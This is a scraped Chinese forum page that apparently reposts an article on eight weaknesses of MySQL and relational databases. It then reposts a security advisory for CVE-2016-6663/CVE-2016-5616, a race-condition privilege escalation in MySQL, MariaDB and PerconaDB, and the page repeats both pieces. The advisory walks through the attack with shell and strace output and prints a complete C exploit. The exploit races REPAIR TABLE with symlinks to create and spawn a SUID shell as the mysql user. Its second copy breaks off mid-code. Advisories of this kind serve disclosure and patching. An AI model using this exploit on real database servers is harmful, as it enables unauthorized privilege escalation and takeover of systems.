现在的磁盘空间很廉价。8TB的磁盘已经在售,更大容量的也将上市。我们不再需要为使用join而绞尽脑汁了。
 

5、分支的混乱

毋庸置疑,一个可靠的、得到良好支持的MySQL分支,可以带来竞争和选择,但是它也引起困惑和混乱。更糟糕的是,一个称为MariaDB的MySQL分支,由Monty Widenius维护着。他同样也在参与编写MySQL。那么,Maria DB是真正独立的值得我们拥护的吗?或者它是MySQL?我们是否应该坚持使用由创建原始mysql数据库的组织运营的核心代码?或者我们应该加入那些被认为更聪明的,往往很酷的背叛者?

如何获取关于兼容性的信息?虽然Maria DB和MySQL十分相似,但它们之间也有差异。这就是大家一直都在争论它的原因。在性能方面,在我们查询的范围内,在两个阵营中,也许它们的工作方式相同,但也许不同,也许将来会不同。
 

6、开发MySQL的动机

虽然MySQL是一款成功的开源产品,但它仍属于商业中的一款产品,专业开发者需要靠它来获得利益,当然,最直接的利益就是薪资。当大多数用户在持续地享受开源许可证带来的最佳体验时,毫无疑问这家公司还在为赚取足够的钱来维持运营而努力。这导致自由代码在“社区版”和出售给企业的完整产品之间产生了奇怪的分岐。

我们应该对这款产品付钱吗?这种在社区版开展经营的行为是否公平?企业版中额外的功能是不是一个噱头,以引诱我们不断付费的呢?这至少说明一点,它是另一些需要回答的问题:选用哪个版本?遵照哪种许可证?选用它的哪个功能集?
 

7、原生JSON支持的缺乏

通过安装MySQL查看其年龄,然后你就知道需要添加哪些驱动程序使它变得可用。MySQL通常在3306端口上通信,一般输出的是它本身难以理解的格式化数据。如果要让你的代码和它通信,你必须添加另一层代码,将MySQL的语言转换成有用的东西。这些层的代码,以库的形式分发,经常需要人们购买一个商业许可证。

现代数据存储层通常直接以JSON通信。虽然MySQL和Maria DB现在有能力解析SQL中的JSON部分,但这还远远不够,原生的JSON接口已经被广泛使用于CouchDB、MongoDB,或任何最新的工具中。
 

8、封闭源和专有模块的兴起

虽然MySQL是开源的,但除了一些在”开源核心“周边开发的一些较新的、非开源的代码和专有模块。程序员也需要赚钱、需要生活,Oracle需要拿它的辛苦成果来换钱,这是一种现实,也是商业的性质。使用MySQL你也不可以免费得到任何东西。

要求MySQL始终坚持在一个很高的标准上,这有点不公平,因为开源的成功可能是一个圈套。它开始可以免费,但并不意味着它可以始终免费。如果企业需要更多新的功能,他们就要通过各种方式付费来获取。有时向Oracle付费,比自己来编写代码要便宜得多。有时商业的、不开源的代码是有意义的。

MySQL虽然作为一个成功的开源系统,但以上这些问题也总不可避免地出现,这就需要我们在它们发生之前有个深刻的认识,才能在今后的应用中避免不必要的麻烦。 查看全部
MYSQL.png

MySQL体积小,速度快,功能丰富,总体拥有成本低。它还是一个开源的关联式数据库管理系统,它的伟大成就说明了一个成功的公司是可以建立在开源之上的。
 
虽然用过mysql的人都曾对其出现的问题而抓狂,但只要是机器,总避免不了出问题的,更何况是一种每秒能保存成千上万行互联网数据,你怎么保证它一点错误都没有呢?
 
以下列举了8个开源关系型数据库的缺陷,其中不仅限于MySQL,还有是针对关系型数据库的。只有明白了关系型数据库和MySQL,才能更好地避免在使用MySQL中尽量少地遇到一些意外。
 


1、无法避免的bugs


任何一个软件包都有bug。但稍微深入了解一下,就会发现和Mysql相关的bugs自成体系。突然你就需要留心,因为NULL并不是以同样的方式出现,外键约束也没有像你想像的那样执行,连主键自动增长也会出错。

到处都避免不了小问题,而且并不总是可以修复的,这就是为什么一些人保持一个列表。还好MySQL维护着一个非常好的bug报告系统,让我们可以知道我些我们无法想像的事情,知道其他人也在经受同样的磨难。
 


2、关系表的不灵活性


关系表具有条理性是好的,但这迫使程序员要编造或把一些数据塞到已经定义好模式的列中。NoSQL之所以越来越受欢迎,其中一个原因就是它为程序员提供了足够的灵活性,以加速数据库的使用。如果一个街道地址需要增加一行,那么,你可以将它很容易地插入到一个NoSQL文档中。如果你想添加一个完整的新的数据块,无论它包含什么内容,文档模型也可以原封不动地接受你的数据,而不必改为它要求的数据格式。

假设你用整数格式建立了一个全部是邮编的表格。这个表十分高效,执行规则也很好。可是有一次,有人上传了一个使用了连字符的九位数邮编。或者说你得到了一位来自他国的客户的信件,上面写有邮政编码。这时,你会感到一切都乱了。老板要求网站要在几小时内恢复正常工作。然而,你已经没有时间重建数据库。程序员可以做什么?使用黑客手段把这位客户的邮政编码由base 64的数字格式改为base 10格式?或者设置一个使用转义编码的辅助表格,用来说明真正的邮政编码或者其他?危险的黑客无处不在,但你没有时间来搞定它。

MySQL的关联规则让每个人都诚实和谨慎,但它能强制我们避开易受攻击和欺骗的麻烦。
 


3、存储引擎混乱


总体来说,Mysql的存储引擎接口定义还算良好的。MySQL不是实际上的同一的数据库。它是由几个数据库组成,它们的大多数细节都被统一的表面掩盖了。开始时有一个MyISAM引擎,它很快但在前后一致上不能做到完备。有时你需要速度并且可以接受不一致的结果时是很好的。

当人们需要更多时,具备完整事务支持的Inno DB出现了。但这还不够。现在,它可能有20种存储引擎的选择——这足以使一个数据库管理员疯狂。当然,有时在不同的存储引擎之间切换而不必重写你的SQL是很好的,但是切换后总会带来混乱。这个表格我选择的引擎是MyISAM还是innoDB呢?或者,我决定输出的数据是CSV格式的吗?
 


4、JOIN联合查询


曾经,将数据分表保存是计算机科学史上的伟大创新。分开后的表不仅结构简单,使用上也简化了许多。但它却需要使用join语句来进行查询。

sql通过一系列join构建的复杂查询将开发者推入了困惑与绝望的深渊。而且存储引擎也需要以最优的方式来高效地解析join语句。开发者需要绞尽脑汁编写查询语句,然后数据库对其进行解析。

这就是很多注重运行速度的开发者放弃数据分表转而使用不规范数据表的原因。不区分数据实体,将所有数据保存到一个大表中——以避免复杂的查询。这样确实很快,并且服务器也不会耗尽内存。

现在的磁盘空间很廉价。8TB的磁盘已经在售,更大容量的也将上市。我们不再需要为使用join而绞尽脑汁了。
 


5、分支的混乱


毋庸置疑,一个可靠的、得到良好支持的MySQL分支,可以带来竞争和选择,但是它也引起困惑和混乱。更糟糕的是,一个称为MariaDB的MySQL分支,由Monty Widenius维护着。他同样也在参与编写MySQL。那么,Maria DB是真正独立的值得我们拥护的吗?或者它是MySQL?我们是否应该坚持使用由创建原始mysql数据库的组织运营的核心代码?或者我们应该加入那些被认为更聪明的,往往很酷的背叛者?

如何获取关于兼容性的信息?虽然Maria DB和MySQL十分相似,但它们之间也有差异。这就是大家一直都在争论它的原因。在性能方面,在我们查询的范围内,在两个阵营中,也许它们的工作方式相同,但也许不同,也许将来会不同。
 


6、开发MySQL的动机


虽然MySQL是一款成功的开源产品,但它仍属于商业中的一款产品,专业开发者需要靠它来获得利益,当然,最直接的利益就是薪资。当大多数用户在持续地享受开源许可证带来的最佳体验时,毫无疑问这家公司还在为赚取足够的钱来维持运营而努力。这导致自由代码在“社区版”和出售给企业的完整产品之间产生了奇怪的分岐。

我们应该对这款产品付钱吗?这种在社区版开展经营的行为是否公平?企业版中额外的功能是不是一个噱头,以引诱我们不断付费的呢?这至少说明一点,它是另一些需要回答的问题:选用哪个版本?遵照哪种许可证?选用它的哪个功能集?
 


7、原生JSON支持的缺乏


通过安装MySQL查看其年龄,然后你就知道需要添加哪些驱动程序使它变得可用。MySQL通常在3306端口上通信,一般输出的是它本身难以理解的格式化数据。如果要让你的代码和它通信,你必须添加另一层代码,将MySQL的语言转换成有用的东西。这些层的代码,以库的形式分发,经常需要人们购买一个商业许可证。

现代数据存储层通常直接以JSON通信。虽然MySQL和Maria DB现在有能力解析SQL中的JSON部分,但这还远远不够,原生的JSON接口已经被广泛使用于CouchDB、MongoDB,或任何最新的工具中。
 


8、封闭源和专有模块的兴起


虽然MySQL是开源的,但除了一些在”开源核心“周边开发的一些较新的、非开源的代码和专有模块。程序员也需要赚钱、需要生活,Oracle需要拿它的辛苦成果来换钱,这是一种现实,也是商业的性质。使用MySQL你也不可以免费得到任何东西。

要求MySQL始终坚持在一个很高的标准上,这有点不公平,因为开源的成功可能是一个圈套。它开始可以免费,但并不意味着它可以始终免费。如果企业需要更多新的功能,他们就要通过各种方式付费来获取。有时向Oracle付费,比自己来编写代码要便宜得多。有时商业的、不开源的代码是有意义的。

MySQL虽然作为一个成功的开源系统,但以上这些问题也总不可避免地出现,这就需要我们在它们发生之前有个深刻的认识,才能在今后的应用中避免不必要的麻烦。

MySQL / MariaDB / PerconaDB - 提权/条件竞争漏洞

Geek小A 发表了文章 • 0 个评论 • 477 次浏览 • 2016-11-03 13:53 • 来自相关话题

漏洞发现人:Dawid Golunski
漏洞级别:严重
CVE编号 :CVE-2016-6663 / CVE-2016-5616
 
漏洞影响:




 
漏洞描述 :
Dawid Golunski在 MySQl, MariaDB 和 PerconaDB 数据库中发现条件竞争漏洞,该漏洞允许本地用户使用低权限(CREATE/INSERT/SELECT权限)账号提升权限到数据库系统用户(通常是'mysql')执行任意代码。成功利用此漏洞,允许攻击者完全访问数据库。也有潜在风险通过(CVE-2016-6662 和 CVE-2016-6664漏洞)获取操作系统root权限。
 
漏洞细节:
基于MYSQL的数据库允许用户新建数据库,并且指定存储目录。例如:
attacker@debian:~$ mkdir /tmp/disktable
attacker@debian:~$ chmod 777 /tmp/disktable/
attacker@debian:~$ ls -ld /tmp/disktable/
drwxrwxrwx 2 attacker attacker 4096 Oct 28 10:53 /tmp/disktable/可以通过data directory参数指定存储目录为/tmp/disktable/
 
mysql> CREATE TABLE poctab1 (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/disktable';执行完成后,查看下目录权限,变为mysqlattacker@debian:~$ ls -l /tmp/disktable/
total 0
-rw-rw---- 1 mysql mysql 0 Oct 28 10:53 poctab1.MYD低权限(SELECT/CREATE/INSERT权限)的MYSQL账户,在执行表修复过程中,执行了不安全的临时文件创建。
mysql> REPAIR TABLE `poctab1`;
+----------------+--------+----------+----------+
| Table | Op | Msg_type | Msg_text |
+----------------+--------+----------+----------+
| testdb.poctab1 | repair | status | OK |
+----------------+--------+----------+----------+通过查看系统调用,可以看到
[pid 1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0
[pid 1463] open("/tmp/disktable/poctab1.MYD", O_RDWR) = 65
[pid 1463] access("./testdb/poctab1.TRG", F_OK) = -1 ENOENT (No such file or directory)
[pid 1463] lseek(65, 0, SEEK_CUR) = 0
[pid 1463] lseek(65, 0, SEEK_END) = 0
[pid 1463] mprotect(0x7f6a3804f000, 12288, PROT_READ|PROT_WRITE) = 0
[pid 1463] open("/tmp/disktable/poctab1.TMD", O_RDWR|O_CREAT|O_EXCL|O_TRUNC, 0660) = 66
[pid 1463] lseek(65, 0, SEEK_END) = 0
[pid 1463] lseek(64, 0, SEEK_END) = 1024
[pid 1463] close(65) = 0
[pid 1463] close(66) = 0
[pid 1463] lstat("/tmp", {st_mode=S_IFDIR|S_ISVTX|0777, st_size=4096, ...}) = 0
[pid 1463] lstat("/tmp/disktable", {st_mode=S_IFDIR|0777, st_size=4096, ...}) = 0
[pid 1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0
[pid 1463] stat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0
[pid 1463] chmod("/tmp/disktable/poctab1.TMD", 0660) = 0
[pid 1463] chown("/tmp/disktable/poctab1.TMD", 110, 115) = 0
[pid 1463] unlink("/tmp/disktable/poctab1.MYD") = 0
[pid 1463] rename("/tmp/disktable/poctab1.TMD", "/tmp/disktable/poctab1.MYD") = 0第一个系统调用是
[pid 1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0我们可以看到,在检验poctab1.MYD表文件权限的时候,也会复制在创建repaired表时的临时文件chmod()权限。因此在[pid 1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0和
[pid 1463] chmod("/tmp/disktable/poctab1.TMD", 0660) = 0系统调用之间,产生了条件竞争漏洞。

如果攻击者删除临时表poctab1.TMD,然后通过符号链接在chmod()操作前替换/var/lib/mysql,则能够完全控制MYSQL的data目录权限。

攻击者可以预设置poctab1.MYD权限为04777(suid),然后通过有漏洞的chmod()调用有效的复制一个bash shell来执行命令。这里会有一个问题,suid shell将只会保留攻击者的UID,而不是'mysql'用户。因此攻击者需要复制bash shell到mysql用户用户的表文件,然而mysql表文件又不具有写权限。

可以通过新建一个具有组粘帖位(group sticky bit)的目录来绕过这个限制
新建/tmp/disktable/目录,并赋予组粘帖位(group sticky bit)
attacker@debian:/tmp/disktable$ chmod g+s /tmp/disktable/
attacker@debian:/tmp/disktable$ ls -ld /tmp/disktable/
drwxrwsrwx 2 attacker attacker 4096 Oct 28 11:25 /tmp/disktable/通过data directory参数指定存储目录为/tmp/disktable/
mysql> CREATE TABLE poctab2 (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/disktable';
Query OK, 0 rows affected (0.00 sec)再次查看/tmp/disktable/权限attacker@debian:/tmp/disktable$ ls -l /tmp/disktable/
total 0
-rw-rw---- 1 mysql mysql 0 Oct 28 11:04 poctab1.MYD
-rw-rw---- 1 mysql attacker 0 Oct 28 11:34 poctab2.MYD我们可以看到poctab2.MYD表已经是'mysql'权限了,但是属于'attacker'组。这样'attacker'就能够复制/bin/bash到poctab2.MYD文件了。

漏洞验证:








 
POC
------------------[ mysql-privesc-race.c ]--------------------
/*
MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit
mysql-privesc-race.c (ver. 1.0)
CVE-2016-6663 / OCVE-2016-5616
Discovered/Coded by:
Dawid Golunski
dawid[at]legalhackers.com
@dawid_golunski
http://legalhackers.com
Compile:
gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient
Note:
* On RedHat-based systems you might need to change /tmp to another public directory
* For testing purposes only. Do no harm.
Full advisory URL:
http://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html
*/
#include <fcntl.h>
#include <grp.h>
#include <mysql.h>
#include <pwd.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/inotify.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#define EXP_PATH "/tmp/mysql_privesc_exploit"
#define EXP_DIRN "mysql_privesc_exploit"
#define MYSQL_TAB_FILE EXP_PATH "/exploit_table.MYD"
#define MYSQL_TEMP_FILE EXP_PATH "/exploit_table.TMD"
#define SUID_SHELL EXP_PATH "/mysql_suid_shell.MYD"
#define MAX_DELAY 1000 // can be used in the race to adjust the timing if necessary
MYSQL *conn; // DB handles
MYSQL_RES *res;
MYSQL_ROW row;
unsigned long cnt;
void intro() {
printf(
"\033[94m\n"
"MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit\n"
"mysql-privesc-race.c (ver. 1.0)\n\n"
"CVE-2016-6663 / OCVE-2016-5616\n\n"
"For testing purposes only. Do no harm.\n\n"
"Discovered/Coded by:\n\n"
"Dawid Golunski \n"
"http://legalhackers.com"
"\033[0m\n\n");
}
void usage(char *argv0) {
intro();
printf("Usage:\n\n%s user pass db_host database\n\n", argv0);
}
void mysql_cmd(char *sql_cmd, int silent) {

if (!silent) {
printf("%s \n", sql_cmd);
}
if (mysql_query(conn, sql_cmd)) {
fprintf(stderr, "%s\n", mysql_error(conn));
exit(1);
}
res = mysql_store_result(conn);
if (res>0) mysql_free_result(res);
}
int main(int argc,char **argv)
{
int randomnum = 0;
int io_notified = 0;
int myd_handle;
int wpid;
int is_shell_suid=0;
pid_t pid;
int status;
struct stat st;
/* io notify */
int fd;
int ret;
char buf[4096] __attribute__((aligned(8)));
int num_read;
struct inotify_event *event;
/* credentials */
char *user = argv[1];
char *password = argv[2];
char *db_host = argv[3];
char *database = argv[4];
// Disable buffering of stdout
setvbuf(stdout, NULL, _IONBF, 0);
// Get the params
if (argc!=5) {
usage(argv[0]);
exit(1);
}
intro();
// Show initial privileges
printf("\n[+] Starting the exploit as: \n");
system("id");
// Connect to the database server with provided credentials
printf("\n[+] Connecting to the database `%s` as %s@%s\n", database, user, db_host);
conn = mysql_init(NULL);
if (!mysql_real_connect(conn, db_host, user, password, database, 0, NULL, 0)) {
fprintf(stderr, "%s\n", mysql_error(conn));
exit(1);
}
// Prepare tmp dir
printf("\n[+] Creating exploit temp directory %s\n", "/tmp/" EXP_DIRN);
umask(000);
system("rm -rf /tmp/" EXP_DIRN " && mkdir /tmp/" EXP_DIRN);
system("chmod g+s /tmp/" EXP_DIRN );
// Prepare exploit tables :)
printf("\n[+] Creating mysql tables \n\n");
mysql_cmd("DROP TABLE IF EXISTS exploit_table", 0);
mysql_cmd("DROP TABLE IF EXISTS mysql_suid_shell", 0);
mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0);
mysql_cmd("CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0);
// Copy /bin/bash into the mysql_suid_shell.MYD mysql table file
// The file should be owned by mysql:attacker thanks to the sticky bit on the table directory
printf("\n[+] Copying bash into the mysql_suid_shell table.\n After the exploitation the following file/table will be assigned SUID and executable bits : \n");
system("cp /bin/bash " SUID_SHELL);
system("ls -l " SUID_SHELL);
// Use inotify to get the timing right
fd = inotify_init();
if (fd < 0) {
printf("failed to inotify_init\n");
return -1;
}
ret = inotify_add_watch(fd, EXP_PATH, IN_CREATE | IN_CLOSE);
/* Race loop until the mysql_suid_shell.MYD table file gets assigned SUID+exec perms */
printf("\n[+] Entering the race loop... Hang in there...\n");
while ( is_shell_suid != 1 ) {
cnt++;
if ( (cnt % 100) == 0 ) {
printf("->");
//fflush(stdout);
}
/* Create empty file , remove if already exists */
unlink(MYSQL_TEMP_FILE);
unlink(MYSQL_TAB_FILE);
mysql_cmd("DROP TABLE IF EXISTS exploit_table", 1);
mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 1);
/* random num if needed */
srand ( time(NULL) );
randomnum = ( rand() % MAX_DELAY );
// Fork, to run the query asynchronously and have time to replace table file (MYD) with a symlink
pid = fork();
if (pid < 0) {
fprintf(stderr, "Fork failed :(\n");
}
/* Child process - executes REPAIR TABLE SQL statement */
if (pid == 0) {
usleep(500);
unlink(MYSQL_TEMP_FILE);
mysql_cmd("REPAIR TABLE exploit_table EXTENDED", 1);
// child stops here
exit(0);
}
/* Parent process - aims to replace the temp .tmd table with a symlink before chmod */
if (pid > 0 ) {
io_notified = 0;
while (1) {
int processed = 0;
ret = read(fd, buf, sizeof(buf));
if (ret < 0) {
break;
}
while (processed < ret) {
event = (struct inotify_event *)(buf + processed);
if (event->mask & IN_CLOSE) {
if (!strcmp(event->name, "exploit_table.TMD")) {
//usleep(randomnum);
// Set the .MYD permissions to suid+exec before they get copied to the .TMD file
unlink(MYSQL_TAB_FILE);
myd_handle = open(MYSQL_TAB_FILE, O_CREAT, 0777);
close(myd_handle);
chmod(MYSQL_TAB_FILE, 04777);
// Replace the temp .TMD file with a symlink to the target sh binary to get suid+exec
unlink(MYSQL_TEMP_FILE);
symlink(SUID_SHELL, MYSQL_TEMP_FILE);
io_notified=1;
}
}
processed += sizeof(struct inotify_event);
}
if (io_notified) {
break;
}
}
waitpid(pid, &status, 0);
}
// Check if SUID bit was set at the end of this attempt
if ( lstat(SUID_SHELL, &st) == 0 ) {
if (st.st_mode & S_ISUID) {
is_shell_suid = 1;
}
}
}
printf("\n\n[+] \033[94mBingo! Race won (took %lu tries) !\033[0m Check out the \033[94mmysql SUID shell\033[0m: \n\n", cnt);
system("ls -l " SUID_SHELL);
printf("\n[+] Spawning the \033[94mmysql SUID shell\033[0m now... \n Remember that from there you can gain \033[1;31mroot\033[0m with vuln \033[1;31mCVE-2016-6662\033[0m or \033[1;31mCVE-2016-6664\033[0m :)\n\n");
system(SUID_SHELL " -p -i ");
//system(SUID_SHELL " -p -c '/bin/bash -i -p'");
/* close MySQL connection and exit */
printf("\n[+] Job done. Exiting\n\n");
mysql_close(conn);
return 0;
}视频参考:http://legalhackers.com/videos/MySQL-MariaDB-PerconaDB-PrivEsc-Race-CVE-2016-6663-5616-6664-5617-Exploits.html
 
临时解决办法:
在my.cnf中添加symbolic-links = 0

 

参考链接:http://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html 
原文链接:http://bobao.360.cn/learning/detail/3152.html  查看全部
mysql.png

漏洞发现人:Dawid Golunski
漏洞级别:严重
CVE编号 :CVE-2016-6663 / CVE-2016-5616
 
漏洞影响
Version.png

 
漏洞描述 :
Dawid Golunski在 MySQl, MariaDB 和 PerconaDB 数据库中发现条件竞争漏洞,该漏洞允许本地用户使用低权限(CREATE/INSERT/SELECT权限)账号提升权限到数据库系统用户(通常是'mysql')执行任意代码。成功利用此漏洞,允许攻击者完全访问数据库。也有潜在风险通过(CVE-2016-6662 和 CVE-2016-6664漏洞)获取操作系统root权限。
 
漏洞细节:
基于MYSQL的数据库允许用户新建数据库,并且指定存储目录。例如:
attacker@debian:~$ mkdir /tmp/disktable
attacker@debian:~$ chmod 777 /tmp/disktable/
attacker@debian:~$ ls -ld /tmp/disktable/
drwxrwxrwx 2 attacker attacker 4096 Oct 28 10:53 /tmp/disktable/
可以通过data directory参数指定存储目录为/tmp/disktable/
 
mysql> CREATE TABLE poctab1 (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/disktable';
执行完成后,查看下目录权限,变为mysql
attacker@debian:~$ ls -l /tmp/disktable/
total 0
-rw-rw---- 1 mysql mysql 0 Oct 28 10:53 poctab1.MYD
低权限(SELECT/CREATE/INSERT权限)的MYSQL账户,在执行表修复过程中,执行了不安全的临时文件创建。
mysql> REPAIR TABLE `poctab1`;
+----------------+--------+----------+----------+
| Table | Op | Msg_type | Msg_text |
+----------------+--------+----------+----------+
| testdb.poctab1 | repair | status | OK |
+----------------+--------+----------+----------+
通过查看系统调用,可以看到
[pid  1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0
[pid 1463] open("/tmp/disktable/poctab1.MYD", O_RDWR) = 65
[pid 1463] access("./testdb/poctab1.TRG", F_OK) = -1 ENOENT (No such file or directory)
[pid 1463] lseek(65, 0, SEEK_CUR) = 0
[pid 1463] lseek(65, 0, SEEK_END) = 0
[pid 1463] mprotect(0x7f6a3804f000, 12288, PROT_READ|PROT_WRITE) = 0
[pid 1463] open("/tmp/disktable/poctab1.TMD", O_RDWR|O_CREAT|O_EXCL|O_TRUNC, 0660) = 66
[pid 1463] lseek(65, 0, SEEK_END) = 0
[pid 1463] lseek(64, 0, SEEK_END) = 1024
[pid 1463] close(65) = 0
[pid 1463] close(66) = 0
[pid 1463] lstat("/tmp", {st_mode=S_IFDIR|S_ISVTX|0777, st_size=4096, ...}) = 0
[pid 1463] lstat("/tmp/disktable", {st_mode=S_IFDIR|0777, st_size=4096, ...}) = 0
[pid 1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0
[pid 1463] stat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0
[pid 1463] chmod("/tmp/disktable/poctab1.TMD", 0660) = 0
[pid 1463] chown("/tmp/disktable/poctab1.TMD", 110, 115) = 0
[pid 1463] unlink("/tmp/disktable/poctab1.MYD") = 0
[pid 1463] rename("/tmp/disktable/poctab1.TMD", "/tmp/disktable/poctab1.MYD") = 0
第一个系统调用是
[pid  1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0
我们可以看到,在检验poctab1.MYD表文件权限的时候,也会复制在创建repaired表时的临时文件chmod()权限。因此在
[pid  1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0

[pid  1463] chmod("/tmp/disktable/poctab1.TMD", 0660) = 0
系统调用之间,产生了条件竞争漏洞。

如果攻击者删除临时表poctab1.TMD,然后通过符号链接在chmod()操作前替换/var/lib/mysql,则能够完全控制MYSQL的data目录权限。

攻击者可以预设置poctab1.MYD权限为04777(suid),然后通过有漏洞的chmod()调用有效的复制一个bash shell来执行命令。这里会有一个问题,suid shell将只会保留攻击者的UID,而不是'mysql'用户。因此攻击者需要复制bash shell到mysql用户用户的表文件,然而mysql表文件又不具有写权限。

可以通过新建一个具有组粘帖位(group sticky bit)的目录来绕过这个限制
新建/tmp/disktable/目录,并赋予组粘帖位(group sticky bit)
attacker@debian:/tmp/disktable$ chmod g+s /tmp/disktable/
attacker@debian:/tmp/disktable$ ls -ld /tmp/disktable/
drwxrwsrwx 2 attacker attacker 4096 Oct 28 11:25 /tmp/disktable/
通过data directory参数指定存储目录为/tmp/disktable/
mysql> CREATE TABLE poctab2 (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/disktable';
Query OK, 0 rows affected (0.00 sec)
再次查看/tmp/disktable/权限
attacker@debian:/tmp/disktable$ ls -l /tmp/disktable/
total 0
-rw-rw---- 1 mysql mysql 0 Oct 28 11:04 poctab1.MYD
-rw-rw---- 1 mysql attacker 0 Oct 28 11:34 poctab2.MYD
我们可以看到poctab2.MYD表已经是'mysql'权限了,但是属于'attacker'组。这样'attacker'就能够复制/bin/bash到poctab2.MYD文件了。

漏洞验证:
bugqa1.png

bugqa2.png

 
POC
------------------[ mysql-privesc-race.c ]--------------------
/*
MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit
mysql-privesc-race.c (ver. 1.0)
CVE-2016-6663 / OCVE-2016-5616
Discovered/Coded by:
Dawid Golunski
dawid[at]legalhackers.com
@dawid_golunski
http://legalhackers.com
Compile:
gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient
Note:
* On RedHat-based systems you might need to change /tmp to another public directory
* For testing purposes only. Do no harm.
Full advisory URL:
http://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html
*/
#include <fcntl.h>
#include <grp.h>
#include <mysql.h>
#include <pwd.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/inotify.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#define EXP_PATH "/tmp/mysql_privesc_exploit"
#define EXP_DIRN "mysql_privesc_exploit"
#define MYSQL_TAB_FILE EXP_PATH "/exploit_table.MYD"
#define MYSQL_TEMP_FILE EXP_PATH "/exploit_table.TMD"
#define SUID_SHELL EXP_PATH "/mysql_suid_shell.MYD"
#define MAX_DELAY 1000 // can be used in the race to adjust the timing if necessary
MYSQL *conn; // DB handles
MYSQL_RES *res;
MYSQL_ROW row;
unsigned long cnt;
void intro() {
printf(
"\033[94m\n"
"MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit\n"
"mysql-privesc-race.c (ver. 1.0)\n\n"
"CVE-2016-6663 / OCVE-2016-5616\n\n"
"For testing purposes only. Do no harm.\n\n"
"Discovered/Coded by:\n\n"
"Dawid Golunski \n"
"http://legalhackers.com"
"\033[0m\n\n");
}
void usage(char *argv0) {
intro();
printf("Usage:\n\n%s user pass db_host database\n\n", argv0);
}
void mysql_cmd(char *sql_cmd, int silent) {

if (!silent) {
printf("%s \n", sql_cmd);
}
if (mysql_query(conn, sql_cmd)) {
fprintf(stderr, "%s\n", mysql_error(conn));
exit(1);
}
res = mysql_store_result(conn);
if (res>0) mysql_free_result(res);
}
int main(int argc,char **argv)
{
int randomnum = 0;
int io_notified = 0;
int myd_handle;
int wpid;
int is_shell_suid=0;
pid_t pid;
int status;
struct stat st;
/* io notify */
int fd;
int ret;
char buf[4096] __attribute__((aligned(8)));
int num_read;
struct inotify_event *event;
/* credentials */
char *user = argv[1];
char *password = argv[2];
char *db_host = argv[3];
char *database = argv[4];
// Disable buffering of stdout
setvbuf(stdout, NULL, _IONBF, 0);
// Get the params
if (argc!=5) {
usage(argv[0]);
exit(1);
}
intro();
// Show initial privileges
printf("\n[+] Starting the exploit as: \n");
system("id");
// Connect to the database server with provided credentials
printf("\n[+] Connecting to the database `%s` as %s@%s\n", database, user, db_host);
conn = mysql_init(NULL);
if (!mysql_real_connect(conn, db_host, user, password, database, 0, NULL, 0)) {
fprintf(stderr, "%s\n", mysql_error(conn));
exit(1);
}
// Prepare tmp dir
printf("\n[+] Creating exploit temp directory %s\n", "/tmp/" EXP_DIRN);
umask(000);
system("rm -rf /tmp/" EXP_DIRN " && mkdir /tmp/" EXP_DIRN);
system("chmod g+s /tmp/" EXP_DIRN );
// Prepare exploit tables :)
printf("\n[+] Creating mysql tables \n\n");
mysql_cmd("DROP TABLE IF EXISTS exploit_table", 0);
mysql_cmd("DROP TABLE IF EXISTS mysql_suid_shell", 0);
mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0);
mysql_cmd("CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0);
// Copy /bin/bash into the mysql_suid_shell.MYD mysql table file
// The file should be owned by mysql:attacker thanks to the sticky bit on the table directory
printf("\n[+] Copying bash into the mysql_suid_shell table.\n After the exploitation the following file/table will be assigned SUID and executable bits : \n");
system("cp /bin/bash " SUID_SHELL);
system("ls -l " SUID_SHELL);
// Use inotify to get the timing right
fd = inotify_init();
if (fd < 0) {
printf("failed to inotify_init\n");
return -1;
}
ret = inotify_add_watch(fd, EXP_PATH, IN_CREATE | IN_CLOSE);
/* Race loop until the mysql_suid_shell.MYD table file gets assigned SUID+exec perms */
